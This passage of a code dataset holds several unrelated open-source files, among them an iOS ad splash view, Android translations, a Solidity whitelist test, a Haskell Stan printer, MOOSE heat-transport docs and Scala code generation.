{\n if (type == TJPAdvertiseViewTypeFullScreen) {\n self.adImageView.frame = [UIScreen mainScreen].bounds;\n }else if (type == TJPAdvertiseViewTypeLogo) {\n self.adImageView.frame = CGRectMake(0, 0, kScreenWidth, kScreenHeight - kScreenWidth / 3);\n }else {\n self.adImageView.frame = [UIScreen mainScreen].bounds;\n }\n [self initialization];\n }\n return self;\n}\n\n\n- (void)initialization {\n self.frame = [UIScreen mainScreen].bounds;\n UIImage *launchImage = [UIImage imageNamed:[self getLaunchImage]];\n self.backgroundColor = [UIColor colorWithPatternImage:launchImage];\n //timer\n [self timer];\n}\n\n\n- (void)layoutSubviews {\n [super layoutSubviews];\n \n [_showTimeBtn mas_makeConstraints:^(MASConstraintMaker *make) {\n make.right.offset(-20);\n make.top.offset(30);\n make.size.mas_equalTo(CGSizeMake(50, 20));\n }];\n \n}\n\n\n#pragma mark - setter&getter\n- (void)setLocalImageName:(NSString *)localImageName {\n _localImageName = localImageName;\n}\n\n\n#pragma mark - Method implementation\n- (void)adImageTap {\n if (self.clickBlock) {\n self.clickBlock([TJPCacheHelper getAdvertiseLink]);\n }\n}\n\n- (void)goHomePage {\n [self advertiseViewHidden];\n}\n\n\n/** 展示广告*/\n- (void)advertiseShow {\n //1.判断缓存中是否有图片\n UIImage *lastCacheImage = [[SDWebImageManager sharedManager].imageCache imageFromDiskCacheForKey:[TJPCacheHelper getAdvertiseImage]];\n if (!lastCacheImage) {\n //2.判断是否有本地图片\n if (!_localImageName.length) { //没有本地图片\n //3.下载图片\n [self downloadAdvertise];\n //4.移除此视图\n self.hidden = YES;\n [self remove];\n }else {\n _adImageView.image = [UIImage imageNamed:_localImageName];\n [self downloadAdvertise];\n }\n }else {\n _adImageView.image = lastCacheImage;\n }\n}\n\n//下载广告\n- (void)downloadAdvertise {\n [[TJPRequestDataTool shareInstance] getAdvertiseModel:^(TJPAdvertiseModel *model) {\n NSURL *imageUrl = [NSURL URLWithString:model.image];\n if (![model.image hasPrefix:@\"http://\"]) {\n imageUrl = [NSURL URLWithString:[NSString stringWithFormat:@\"%@%@\",kTJPCommonServiceAPI, model.image]];\n }\n //通过sd下载\n [[SDWebImageManager sharedManager] downloadImageWithURL:imageUrl\n options:SDWebImageAvoidAutoSetImage\n progress:nil\n completed:^(UIImage *image, NSError *error, SDImageCacheType cacheType, BOOL finished, NSURL *imageURL) {\n [TJPCacheHelper setAdvertiseImage:model.image];\n [TJPCacheHelper setAdvertiseLink:model.link];\n TJPLog(@\"广告图片下载成功\");\n }];\n \n }];\n}\n\n\n//定时器方法\n- (void)timerGo {\n if (adShowTime == 0) {\n //销毁定时器\n [_timer invalidate];\n _timer = nil;\n //隐藏视图\n [self timeBtnHidden];\n [self advertiseViewHidden];\n }else {\n [self.showTimeBtn setTitle:[NSString stringWithFormat:@\"跳过%@\", @(adShowTime--)] forState:UIControlStateNormal];\n }\n}\n\n//按钮隐藏\n- (void)timeBtnHidden {\n CABasicAnimation *opacityAnimation = [CABasicAnimation animationWithKeyPath:@\"opacity\"];\n opacityAnimation.duration = duration;\n opacityAnimation.fromValue = [NSNumber numberWithFloat:1.0];\n opacityAnimation.toValue = [NSNumber numberWithFloat:0.1];\n opacityAnimation.removedOnCompletion = NO;\n opacityAnimation.fillMode = kCAFillModeForwards;\n [_showTimeBtn.layer addAnimation:opacityAnimation forKey:@\"timeBtnHidden\"];\n}\n\n\n//隐藏广告\b视图\n- (void)advertiseViewHidden {\n [UIView animateWithDuration:duration animations:^{\n self.alpha = 0;\n _adImageView.alpha = 0;\n } completion:^(BOOL finished) {\n [self remove];\n }];\n}\n//移除\n- (void)remove {\n [self.subviews makeObjectsPerformSelector:@selector(removeFromSuperview)];\n [self removeFromSuperview];\n}\n/** 清除广告图片缓存*/\n- (void)cleanAdvertiseImageCache {\n [[SDImageCache sharedImageCache] removeImageForKey:[TJPCacheHelper getAdvertiseImage]];\n [TJPCacheHelper removeAdvertiseAllData];\n}\n\n\n\n//获取启动图片\n- (NSString *)getLaunchImage {\n NSString *launchImageName = nil;\n NSString *orentationStr = @\"Portrait\";\n CGSize viewSize = [UIScreen mainScreen].bounds.size;\n NSArray <NSDictionary *>*launchImages = [[[NSBundle mainBundle] infoDictionary] valueForKey:@\"UILaunchImages\"];\n for (NSDictionary *dic in launchImages) {\n CGSize imageSize = CGSizeFromString(dic[@\"UILaunchImageSize\"]);\n if (CGSizeEqualToSize(imageSize, viewSize) && [orentationStr isEqualToString:dic[@\"UILaunchImageOrientation\"]]) {\n launchImageName = dic[@\"UILaunchImageName\"];\n }\n }\n return launchImageName;\n}\n\n\n#pragma mark - dealloc \n- (void)dealloc {\n TJPLogFunc\n}\n\n\n\n@end\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- \n/*\n* Copyright (C) 2017 The Android Open Source Project\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http://www.apache.org/licenses/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*/\n -->\n\n<resources xmlns:android=\"http://schemas.android.com/apk/res/android\"\n xmlns:xliff=\"urn:oasis:names:tc:xliff:document:1.2\">\n <string name=\"recent_task_option_split_screen\" msgid=\"5353188922202653570\">\"බෙදුම් තිරය\"</string>\n <string name=\"recent_task_option_pin\" msgid=\"7929860679018978258\">\"අමුණන්න\"</string>\n <string name=\"accessibility_desc_recent_apps\" msgid=\"1444379410873162882\">\"දළ විශ්ලේෂණය\"</string>\n <string name=\"recents_empty_message\" msgid=\"7040467240571714191\">\"මෑත අයිතම නැත\"</string>\n <string name=\"accessibility_close_task\" msgid=\"5354563209433803643\">\"වසන්න\"</string>\n <string name=\"recents_clear_all\" msgid=\"5328176793634888831\">\"සියල්ල හිස් කරන්න\"</string>\n <string name=\"accessibility_recent_apps\" msgid=\"4058661986695117371\">\"මෑත යෙදුම්\"</string>\n</resources>\n"} {"text": "import expectThrow from '../helpers/expectThrow';\nimport expectEvent from '../helpers/expectEvent';\n\nconst WhitelistMock = artifacts.require('WhitelistMock');\n\nrequire('chai')\n .use(require('chai-as-promised'))\n .should();\n\ncontract('Whitelist', function (accounts) {\n let mock;\n\n const [\n owner,\n whitelistedAddress1,\n whitelistedAddress2,\n anyone,\n ] = accounts;\n\n const whitelistedAddresses = [whitelistedAddress1, whitelistedAddress2];\n\n before(async function () {\n mock = await WhitelistMock.new();\n });\n\n context('in normal conditions', () => {\n it('should add address to the whitelist', async function () {\n await expectEvent.inTransaction(\n mock.addAddressToWhitelist(whitelistedAddress1, { from: owner }),\n 'WhitelistedAddressAdded'\n );\n const isWhitelisted = await mock.whitelist(whitelistedAddress1);\n isWhitelisted.should.be.equal(true);\n });\n\n it('should add addresses to the whitelist', async function () {\n await expectEvent.inTransaction(\n mock.addAddressesToWhitelist(whitelistedAddresses, { from: owner }),\n 'WhitelistedAddressAdded'\n );\n for (let addr of whitelistedAddresses) {\n const isWhitelisted = await mock.whitelist(addr);\n isWhitelisted.should.be.equal(true);\n }\n });\n\n it('should remove address from the whitelist', async function () {\n await expectEvent.inTransaction(\n mock.removeAddressFromWhitelist(whitelistedAddress1, { from: owner }),\n 'WhitelistedAddressRemoved'\n );\n let isWhitelisted = await mock.whitelist(whitelistedAddress1);\n isWhitelisted.should.be.equal(false);\n });\n\n it('should remove addresses from the the whitelist', async function () {\n await expectEvent.inTransaction(\n mock.removeAddressesFromWhitelist(whitelistedAddresses, { from: owner }),\n 'WhitelistedAddressRemoved'\n );\n for (let addr of whitelistedAddresses) {\n const isWhitelisted = await mock.whitelist(addr);\n isWhitelisted.should.be.equal(false);\n }\n });\n\n it('should allow whitelisted address to call #onlyWhitelistedCanDoThis', async () => {\n await mock.addAddressToWhitelist(whitelistedAddress1, { from: owner });\n await mock.onlyWhitelistedCanDoThis({ from: whitelistedAddress1 })\n .should.be.fulfilled;\n });\n });\n\n context('in adversarial conditions', () => {\n it('should not allow \"anyone\" to add to the whitelist', async () => {\n await expectThrow(\n mock.addAddressToWhitelist(whitelistedAddress1, { from: anyone })\n );\n });\n\n it('should not allow \"anyone\" to remove from the whitelist', async () => {\n await expectThrow(\n mock.removeAddressFromWhitelist(whitelistedAddress1, { from: anyone })\n );\n });\n\n it('should not allow \"anyone\" to call #onlyWhitelistedCanDoThis', async () => {\n await expectThrow(\n mock.onlyWhitelistedCanDoThis({ from: anyone })\n );\n });\n });\n});\n"} {"text": "{-# LANGUAGE DeriveAnyClass, DeriveGeneric #-}\n\nmodule Stan.AST.Pretty where\n\nimport Stan.AST\nimport Text.PrettyPrint.HughesPJClass\n\ninstance Pretty Stan where\n pPrint (Model ds) = text \"model {\"\n $$ nest 2 (ppDecls ds)\n $$ char '}'\n pPrint (Parameters ds)\n = text \"parameters {\"\n $$ nest 2 (ppDecls ds)\n $$ char '}'\n pPrint (TransformedParameters ds)\n = text \"transformed parameters {\"\n $$ nest 2 (ppDecls ds)\n $$ char '}'\n pPrint (Data ds) = text \"data {\"\n $$ nest 2 (ppDecls ds)\n $$ char '}'\n pPrint (TransformedData ds)\n = text \"transformed data {\"\n $$ nest 2 (ppDecls ds)\n $$ char '}'\n pPrint (GeneratedQuantities ds)\n = text \"generated quantities {\"\n $$ nest 2 (ppDecls ds)\n $$ char '}'\n\nppStans :: [Stan] -> String\nppStans = render . vcat . map pPrint\n\nppDecls :: [Decl] -> Doc\nppDecls = vcat . map ((<>(char ';')) . pPrint)\n\ninstance Pretty Decl where\n pPrint (t ::: (nm, ixs)) = pPrint t <+> text nm <> mcommasepBrackets (map pPrint ixs)\n pPrint ((nm,ixes) := e) = (text nm <> mcommasepBrackets (map pPrint ixes))\n <+> text \"=\" <+> pPrint e\n pPrint ((nm,ixes) :~ (dnm, es)) = (text nm <> mcommasepBrackets (map pPrint ixes))\n <+> text \"~\" <+> text dnm <> parens (commasep (map pPrint es))\n pPrint (For vnm elo ehi ds) = let range = pPrint elo <> char ':' <> pPrint ehi\n in text \"for\" <+> parens (text vnm <+> text \"in\" <+> range) <+> char '{'\n $$ nest 2 (ppDecls ds)\n $$ char '}'\n pPrint (Print s es) = text \"print\" <> parens (commasep $ text (show s) : map pPrint es)\n\n\ninstance Pretty Type where\n pPrint Real = text \"real\"\n pPrint Int = text \"int\"\n pPrint (Bounded Nothing Nothing t) = pPrint t\n pPrint (Bounded (Just e) Nothing t) = pPrint t <> angles ( ppLowerBound e)\n pPrint (Bounded Nothing (Just e) t) = pPrint t <> angles ( ppUpperBound e)\n pPrint (Bounded (Just e1) (Just e2) t) = pPrint t <> angles ( ppLowerBound e1 <> comma <> ppUpperBound e2)\n\nppLowerBound :: Expr -> Doc\nppLowerBound e = text \"lower=\" <> pPrint e\nppUpperBound :: Expr -> Doc\nppUpperBound e = text \"upper=\" <> pPrint e\n\nangles :: Doc -> Doc\nangles d = char '<' <> d <> char '>'\n\ncommasep :: [Doc] -> Doc\ncommasep = hcat . punctuate comma\n\nmcommasepBrackets :: [Doc] -> Doc\nmcommasepBrackets [] = empty\nmcommasepBrackets ds = brackets $ commasep ds\n\n\ninstance Pretty Expr where\n pPrintPrec _ _ (Var v) = text v\n pPrintPrec _ _ (LitInt x) = int x\n pPrintPrec _ _ (LitFloat x) = float x\n pPrintPrec l r (Ix e es) = pPrintPrec l r e <> brackets (commasep (map (pPrintPrec l r) es))\n pPrintPrec l r (BinOp s e1 e2)\n = let prec = opPrec s\n in maybeParens (r >= prec) $ pPrintPrec l prec e1 <> text s <> pPrintPrec l prec e2\n pPrintPrec l r (Apply fnm es) = text fnm <> parens (commasep (map (pPrintPrec l r) es))\n\npp :: Pretty a => a -> String\npp = render . pPrint\n\nopPrec :: String -> Rational\nopPrec \"+\" = 6\nopPrec \"-\" = 6\nopPrec \"*\" = 7\nopPrec \"/\" = 7\nopPrec _ = 1\n\n"} {"text": "package MIME::Field::ConTraEnc;\n\n\n=head1 NAME\n\nMIME::Field::ConTraEnc - a \"Content-transfer-encoding\" field\n\n\n=head1 DESCRIPTION\n\nA subclass of Mail::Field.\n\nI<Don't use this class directly... its name may change in the future!>\nInstead, ask Mail::Field for new instances based on the field name!\n\n\n=head1 SYNOPSIS\n\n use Mail::Field;\n use MIME::Head;\n\n # Create an instance from some text:\n $field = Mail::Field->new('Content-transfer-encoding', '7bit');\n\n # Get the encoding.\n # Possible values: 'binary', '7bit', '8bit', 'quoted-printable',\n # 'base64' and '' (unspecified). Note that there can't be a\n # single default for this, since it depends on the content type!\n $encoding = $field->encoding;\n\n=head1 SEE ALSO\n\nL<MIME::Field::ParamVal>, L<Mail::Field>\n\n=head1 AUTHOR\n\nEryq (F<eryq@zeegee.com>), ZeeGee Software Inc (F<http://www.zeegee.com>).\nDianne Skoll (dfs@roaringpenguin.com) http://www.roaringpenguin.com\n\n=cut\n\nrequire 5.001;\nuse strict;\nuse MIME::Field::ParamVal;\nuse vars qw($VERSION @ISA);\n\n@ISA = qw(MIME::Field::ParamVal);\n\n# The package version, both in 1.23 style *and* usable by MakeMaker:\n$VERSION = \"5.509\";\n\n# Install it:\nbless([])->register('Content-transfer-encoding');\n\n#------------------------------\n\nsub encoding {\n shift->paramstr('_', @_);\n}\n\n#------------------------------\n1;\n\n"} {"text": "/*\n * Driver for Microtune MT2060 \"Single chip dual conversion broadband tuner\"\n *\n * Copyright (c) 2006 Olivier DANET <odanet@caramail.com>\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n *\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.=\n */\n\n#ifndef MT2060_H\n#define MT2060_H\n\nstruct dvb_frontend;\nstruct i2c_adapter;\n\nstruct mt2060_config {\n\tu8 i2c_address;\n\tu8 clock_out; /* 0 = off, 1 = CLK/4, 2 = CLK/2, 3 = CLK/1 */\n};\n\n#if IS_ENABLED(CONFIG_MEDIA_TUNER_MT2060)\nextern struct dvb_frontend * mt2060_attach(struct dvb_frontend *fe, struct i2c_adapter *i2c, struct mt2060_config *cfg, u16 if1);\n#else\nstatic inline struct dvb_frontend * mt2060_attach(struct dvb_frontend *fe, struct i2c_adapter *i2c, struct mt2060_config *cfg, u16 if1)\n{\n\tprintk(KERN_WARNING \"%s: driver disabled by Kconfig\\n\", __func__);\n\treturn NULL;\n}\n#endif // CONFIG_MEDIA_TUNER_MT2060\n\n#endif\n"} {"text": "# 1D radial heat and mass transport\n\n## Description\n\nAn analytical solution to the problem of 1D radial coupled heat and mass transport was initially\ndeveloped by [!citet](avdonin1964), and later by [!citet](ross1982) (in a similar fashion as for the\n1D Cartesian [model](1d_radial_avdonin.md)).\n\nThe problem consists of a 1D radial model where cold water is injected into a warm semi-infinite reservoir\nat a constant rate. The top and bottom surfaces of the reservoir are bounded by caprock which is\nneglected in the modelling to simplify the problem. Instead, these boundaries are treated as no-flow\nand adiabatic boundary conditions.\n\nFor the simple case of a 1D radial model bounded on the upper and lower surfaces by no-flow\nand adiabatic boundaries, a simplified solution for the temperature profile $T(r, t)$ can be obtained\n[!citep](updegraff1989)\n\n\\begin{equation}\n\\frac{T(r, t) - T(r, 0)}{T(0, t) - T(r, 0)} = \\frac{\\Gamma(\\nu, \\omega^2/(4 \\tau))}{\\Gamma(\\nu)},\n\\label{eq:avdonin}\n\\end{equation}\n\nwhere $T(r, 0)$ is the initial temperature in the reservoir, $T(0, t)$ is the temperature of the injected\nwater, $\\Gamma(x)$ is the gamma function, $\\Gamma(x, a)$ is the lower incomplete gamma function,\n\n\\begin{equation}\n\\nu = \\frac{Q\\rho_w cp_w}{4 \\pi h \\lambda_m},\n\\end{equation}\n\n\\begin{equation}\n\\omega = \\frac{2 r}{h},\n\\end{equation}\n\nand\n\n\\begin{equation}\n\\tau = \\frac{4 \\lambda_m t}{\\rho_m cp_m h^2},\n\\end{equation}\n\nwhere $\\rho_w$ is the density of water, $cp_w$ is the specific heat capacity of water, $\\rho_m$ is the density\nof the fully saturated medium ($\\rho_m = \\phi \\rho_w + (1 - \\phi \\rho_r)$ where $\\phi$ is porosity and\n$\\rho_r$ is the density of the dry rock), $cp_m$ is the specific heat capacity of the fully saturated porous\nmedium, $\\lambda_m$ is the thermal conductivity of the fully saturated reservoir, $Q$ is the volumetric flow\nrate, and $h$ is the height of the reservoir.\n\n## Model\n\nThis problem was considered in a code comparison by [!citet](updegraff1989), so we use identical parameters\nin this verification problem, see [tab:res].\n\n!table id=tab:res caption=Model properties\n| Property | Value |\n| - | - |\n| Length | 1,000 m |\n| Pressure | 5 MPa |\n| Temperature | 170 $^{\\circ}$C |\n| Permeability | $1.8 \\times 10^{-11}$ m$^2$ |\n| Porosity | 0.2 |\n| Saturate density | 2,500 kg m$^{-3}$ |\n| Saturated thermal conductivity | 25 W m$^{-1}$ K |\n| Saturated specific heat capacity | 1,000 J kg$^{-1}$ K |\n| Mass flux rate | 0.1 kg s${-1}$ |\n\n## Input file\n\nThe input file used to run this problem is\n\n!listing modules/porous_flow/test/tests/fluidstate/coldwater_injection_radial.i\n\nNote that the test file is a reduced version of this problem. To recreate these results, follow the\ninstructions at the top of the input file.\n\n## Results\n\nThe results for the temperature profile after 13,000 seconds are shown in [fig:avdonin]. Excellent agreement\nbetween the analytical solution and the MOOSE results are observed.\n\n!media media/porous_flow/1d_radial_avdonin.png\n id=fig:avdonin\n style=width:80%;margin-left:10px;\n caption=Comparison between [!citet](avdonin1964) result and MOOSE at $t = 10^6$ s (left); and\n $t = 10^9$ s (right).\n\nThis model also admits a similarity solution $\\zeta = r^2/t$ [!citep](moridis1992). Again, excellent\nagreement between the analytical solution and the MOOSE results are observed, see [fig:avdonin_sim]\n\n!media media/porous_flow/1d_radial_avdonin_similarity.png\n id=fig:avdonin_sim\n style=width:60%;margin-left:10px;\n caption=Similarity solution for 1D radial problem.\n\n!bibtex bibliography\n"} {"text": "package argon\npackage codegen\n\nimport java.io.PrintStream\n\nimport argon.passes.Traversal\nimport utils.io.files\nimport scala.collection._\n\ntrait Codegen extends Traversal {\n override val recurse: Recurse = Recurse.Never\n val lang: String\n def ext: String\n def out: String = s\"${config.genDir}${files.sep}${lang}${files.sep}\"\n def entryFile: String = s\"Main.$ext\"\n\n def clearGen(): Unit = {\n files.deleteExts(out, ext, recursive = true)\n }\n\n protected def emitEntry(block: Block[_]): Unit\n\n def emitHeader(): Unit = { }\n def emitFooter(): Unit = { }\n\n override protected def preprocess[R](b: Block[R]): Block[R] = {\n clearGen()\n super.preprocess(b)\n }\n\n override protected def postprocess[R](b: Block[R]): Block[R] = {\n super.postprocess(b)\n }\n\n protected def nameMap(x: String): String = x\n\n protected def remap(tp: Type[_]): String = tp.typeName\n\n protected def quoteConst(tp: Type[_], c: Any): String = {\n throw new Exception(s\"$name failed to generate constant $c (${c.getClass}) of type $tp\")\n }\n\n protected def named(s: Sym[_], id: Int): String = nameMap(s\"x$id\")\n\n protected def quote(s: Sym[_]): String = s.rhs match {\n case Def.TypeRef => remap(s.tp)\n case Def.Const(c) => quoteConst(s.tp, c)\n case Def.Param(_,c) => quoteConst(s.tp, c)\n case Def.Bound(id) => s\"b$id\"\n case Def.Node(id,_) => named(s,id)\n case Def.Error(_,_) => throw new Exception(s\"[$name] Error symbol in codegen\")\n }\n\n protected def quoteOrRemap(arg: Any): String = arg match {\n case p: Seq[_] => p.map(quoteOrRemap).mkString(\", \") // By default, comma separate Seq\n case p: Array[_] => p.map(quoteOrRemap).mkString(\", \")\n case e: Ref[_,_] => quote(e)\n case s: String => s\n case c: Int => c.toString\n case b: Boolean => b.toString\n case l: Long => l.toString + \"L\"\n case d: Double => d.toString\n case l: BigDecimal => l.toString\n case l: BigInt => l.toString\n case c: SrcCtx => c.toString\n case None => \"None\"\n case Some(x) => \"Some(\" + quoteOrRemap(x) + \")\"\n case _ => throw new RuntimeException(s\"[$name] Could not quote or remap $arg (${arg.getClass})\")\n }\n\n implicit class CodegenHelper(sc: StringContext) {\n def src(args: Any*): String = sc.raw(args.map(quoteOrRemap): _*).stripMargin\n }\n\n override protected def process[R](block: Block[R]): Block[R] = {\n inGen(out, entryFile) {\n emitHeader()\n emitEntry(block)\n emitFooter()\n }\n block\n }\n\n protected def gen(block: Block[_], withReturn: Boolean = false): Unit = {\n visitBlock(block)\n }\n protected def ret(block: Block[_]): Unit = gen(block, withReturn = true)\n\n protected def gen(lhs: Sym[_], rhs: Op[_]): Unit = {\n if (config.enGen) throw new Exception(s\"[$name] No codegen rule for $lhs, $rhs\")\n }\n\n final override protected def visit[A](lhs: Sym[A], rhs: Op[A]): Unit = gen(lhs,rhs)\n\n protected val scoped: mutable.Map[Sym[_],ScopeInfo] = new mutable.HashMap[Sym[_],ScopeInfo]()\n\n case class ScopeInfo(val blockID: Int, val chunkID: Int, val subChunkID: Option[Int], val str: String, val tp: String){\n def assemble(sfx: String = \"\"): String = {\n val sub = if (subChunkID.isDefined) src\"sub${subChunkID.get}\" else \"\"\n src\"block${blockID}chunk${chunkID}\" + sub + src\"\"\"(\"${str + sfx}\").asInstanceOf[$tp]\"\"\"\n }\n }\n case class StmWithWeight[X](val stm: X, val singleWeight: Int, val copies: Seq[String]){\n def weight: Int = (copies.size max 1) * singleWeight\n }\n\n final def javaStyleChunk[X](\n stmsAndWeights: Seq[StmWithWeight[X]], // Seq of X to print and their associated \"weight\"\n code_window: Int, // Weighted X per window\n hierarchyDepth: Int, // Depth of chunker hierarchy\n globalBlockID: Int, // Global block ID for backend\n isLive: (X, Seq[X]) => Boolean, // Check if X is escaping current chunk (X is in Seq AND not a \"special\" node)\n branchSfx: (X, Option[String]) => String, // Create map entry from node name (unsuffixed) to node name (suffixed) (rhs requires .branch for chisel Switches)\n argString: (Type[_], Option[Sym[_]]) => String, // Name for X type (not exactly remap(tp) for chisel)\n initChunkState: () => Unit // Initialize state vars for chunk (i.e. ensig compression in chisel)\n )(visitRule: X => Unit): Int = {\n def fetchWindow(l: Seq[Int], limit: Int): Int = {\n @annotation.tailrec\n def take0(list: List[Int], accList: List[Int], accSum: Int) : Seq[Int] =\n list match {\n case h :: t if accSum + h < limit => \n take0(t, h :: accList, h + accSum)\n case _ => accList\n }\n take0(l.drop(1).toList, List(l.head), l.head).size\n }\n\n if (hierarchyDepth == 0) {\n stmsAndWeights.foreach{x => visitRule(x.stm)}\n globalBlockID\n }\n else if (hierarchyDepth == 1) {\n val blockID: Int = globalBlockID + 1\n var chunkID: Int = 0\n var chunk: Seq[StmWithWeight[X]] = Nil\n var remain: Seq[StmWithWeight[X]] = stmsAndWeights\n // TODO: Other ways to speed this up?\n while (remain.nonEmpty) {\n initChunkState()\n val num_stm = fetchWindow(remain.map(_.weight).toList, code_window)\n chunk = remain.take(num_stm)\n remain = remain.drop(num_stm)\n open(src\"object Block${blockID}Chunker$chunkID { // ${chunk.size} nodes, ${chunk.map(_.weight).sum} weight\")\n open(src\"def gen(): Map[String, Any] = {\")\n chunk.foreach{s => visitRule(s.stm) }\n val live: Seq[StmWithWeight[X]] = chunk.collect{case x if isLive(x.stm,remain.map(_.stm)) => x}\n emit(\"Map[String,Any](\" + live.flatMap{case x if (x.copies.isEmpty) => Seq(branchSfx(x.stm,None)); case x => x.copies.map{sfx => src\"\"\"\"${x.stm}$sfx\" -> ${x.stm}$sfx\"\"\"}}.mkString(\", \") + \")\")\n scoped ++= live.collect{case StmWithWeight(s: Sym[_], _,_) => s -> ScopeInfo(blockID, chunkID, None, quote(s), argString(s.tp, Some(s)))}\n close(\"}\")\n close(\"}\")\n emit(src\"val block${blockID}chunk$chunkID: Map[String, Any] = Block${blockID}Chunker$chunkID.gen()\")\n chunkID += 1\n }\n blockID\n }\n else {\n // TODO: More hierarchy? What if the block is > code_window * code_window * code_window size?\n val blockID: Int = globalBlockID\n var chunkID: Int = 0\n var chunk: Seq[StmWithWeight[X]] = Nil\n var remain: Seq[StmWithWeight[X]] = stmsAndWeights\n // // TODO: Other ways to speed this up?\n while (remain.nonEmpty) {\n var subChunkID: Int = 0\n var subChunk: Seq[StmWithWeight[X]] = Nil\n val num_stm = fetchWindow(remain.map(_.weight).toList, code_window*code_window)\n chunk = remain.take(num_stm)\n remain = remain.drop(num_stm)\n open(src\"object Block${blockID}Chunker${chunkID} { // ${chunk.size} nodes, ${chunk.map(_.weight).sum} weight\")\n open(src\"def gen(): Map[String, Any] = {\")\n val live = chunk.collect{case x if isLive(x.stm,remain.map(_.stm)) => x}\n while (chunk.nonEmpty) {\n initChunkState()\n val subNum_stm = fetchWindow(chunk.map(_.weight).toList, code_window)\n subChunk = chunk.take(subNum_stm)\n chunk = chunk.drop(subNum_stm)\n open(src\"object Block${blockID}Chunker${chunkID}Sub${subChunkID} { // ${subChunk.size} nodes, ${subChunk.map(_.weight).sum} weight\")\n open(src\"def gen(): Map[String, Any] = {\")\n subChunk.foreach{s => visitRule(s.stm) }\n val subLive = subChunk.collect{case x if (isLive(x.stm, (chunk ++ remain).map(_.stm))) => x}\n emit(\"Map[String,Any](\" + subLive.flatMap{case x if (x.copies.isEmpty) => Seq(branchSfx(x.stm,None)); case x => x.copies.map{sfx => src\"\"\"\"${x.stm}$sfx\" -> ${x.stm}$sfx\"\"\"}}.mkString(\", \") + \")\")\n scoped ++= subLive.collect{case StmWithWeight(s: Sym[_], _,_) => s -> ScopeInfo(blockID, chunkID, Some(subChunkID), quote(s), argString(s.tp, Some(s)))}\n close(\"}\")\n close(\"}\")\n emit(src\"val block${blockID}chunk${chunkID}sub${subChunkID}: Map[String, Any] = Block${blockID}Chunker${chunkID}Sub${subChunkID}.gen()\")\n subChunkID += 1\n }\n // Create map from unscopedName -> subscopedName\n val mapLHS: Seq[String] = live.collect{case StmWithWeight(x: Sym[_], _,_) if (scoped.contains(x)) => val temp = scoped(x); scoped -= x;val n = quote(x); scoped += (x -> temp); n; case StmWithWeight(x: Sym[_], _,_) => quote(x)}\n emit(\"Map[String,Any](\" + mapLHS.zip(live).flatMap{case (n,s) if (s.copies.isEmpty) => Seq(branchSfx(s.stm,Some(n))); case (n,s) => s.copies.map{sfx => src\"\"\"\"${n}$sfx\" -> ${n}$sfx\"\"\"}}.mkString(\", \") + \")\")\n scoped ++= mapLHS.zip(live).collect{case (n,StmWithWeight(s: Sym[_],_,_)) => s -> ScopeInfo(blockID, chunkID, None, n, argString(s.tp, Some(s)))}\n close(\"}\")\n close(\"}\")\n emit(src\"val block${blockID}chunk${chunkID}: Map[String, Any] = Block${blockID}Chunker${chunkID}.gen()\")\n chunkID += 1\n }\n blockID + 1\n }\n }\n\n def kernel(sym: Sym[_]): PrintStream = getOrCreateStream(out, src\"${sym}_kernel.$ext\")\n}\n"} {"text": "trait Foo[T] { val foo: T}\n\nclass A extends Foo[Unit]{\n lazy val foo = println(\"Unit: called A.foo\")\n}\n\nclass B extends Foo[Unit]{\n val foo = println(\"Unit: called B.foo\")\n}\n\ntrait Bar[T] { def foo: T}\n\nclass C extends Bar[Unit]{\n lazy val foo = println(\"Unit: called C.foo\")\n}\n\nclass D extends Bar[Unit]{\n def foo = println(\"Unit: called D.foo\")\n}\n\nobject Test extends App {\n val a: Foo[Unit] = new A\n a.foo\n a.foo\n val b: Foo[Unit] = new B\n b.foo\n b.foo\n val c: Bar[Unit] = new C\n c.foo\n c.foo\n val d: Bar[Unit] = new D\n d.foo\n d.foo\n}\n"} {"text": "<template>\n <div>\n <a-button class=\"action-btn\" @click=\"handleCreate\" type=\"primary\">{{ $t('ciType.newRelation') }}</a-button>\n <s-table\n :alert=\"options.alert\"\n :columns=\"columns\"\n :data=\"loadData\"\n :pagination=\"pagination\"\n :rowKey=\"record=>record.id\"\n :rowSelection=\"options.rowSelection\"\n :showPagination=\"showPagination\"\n ref=\"table\"\n size=\"middle\"\n :scroll=\"scroll\"\n >\n\n <span slot=\"is_check\" slot-scope=\"text\">\n <a-icon type=\"check\" v-if=\"text\"/>\n </span>\n\n <span slot=\"action\" slot-scope=\"text, record\">\n <template>\n <a @click=\"handleDelete(record)\">{{ $t('tip.delete') }}</a>\n </template>\n </span>\n\n </s-table>\n <a-drawer\n :closable=\"false\"\n :title=\"drawerTitle\"\n :visible=\"visible\"\n @close=\"onClose\"\n placement=\"right\"\n width=\"30%\"\n >\n <a-form :form=\"form\" :layout=\"formLayout\" @submit=\"handleSubmit\">\n\n <a-form-item\n :label-col=\"formItemLayout.labelCol\"\n :wrapper-col=\"formItemLayout.wrapperCol\"\n :label=\"$t('ciType.sourceCIType')\"\n >\n <a-select\n name=\"source_ci_type_id\"\n style=\"width: 120px\"\n v-decorator=\"['source_ci_type_id', {rules: [], } ]\"\n >\n <template v-for=\"CIType in CITypes\">\n <a-select-option :value=\"CIType.id\" :key=\"CIType.id\" v-if=\"CITypeId == CIType.id\">{{ CIType.alias }}</a-select-option>\n </template>\n </a-select>\n\n </a-form-item>\n <a-form-item\n :label-col=\"formItemLayout.labelCol\"\n :wrapper-col=\"formItemLayout.wrapperCol\"\n :label=\"$t('ciType.targetCIType')\"\n >\n <a-select\n name=\"ci_type_id\"\n style=\"width: 120px\"\n v-decorator=\"['ci_type_id', {rules: [], } ]\"\n >\n <a-select-option :value=\"CIType.id\" :key=\"CIType.id\" v-for=\"CIType in 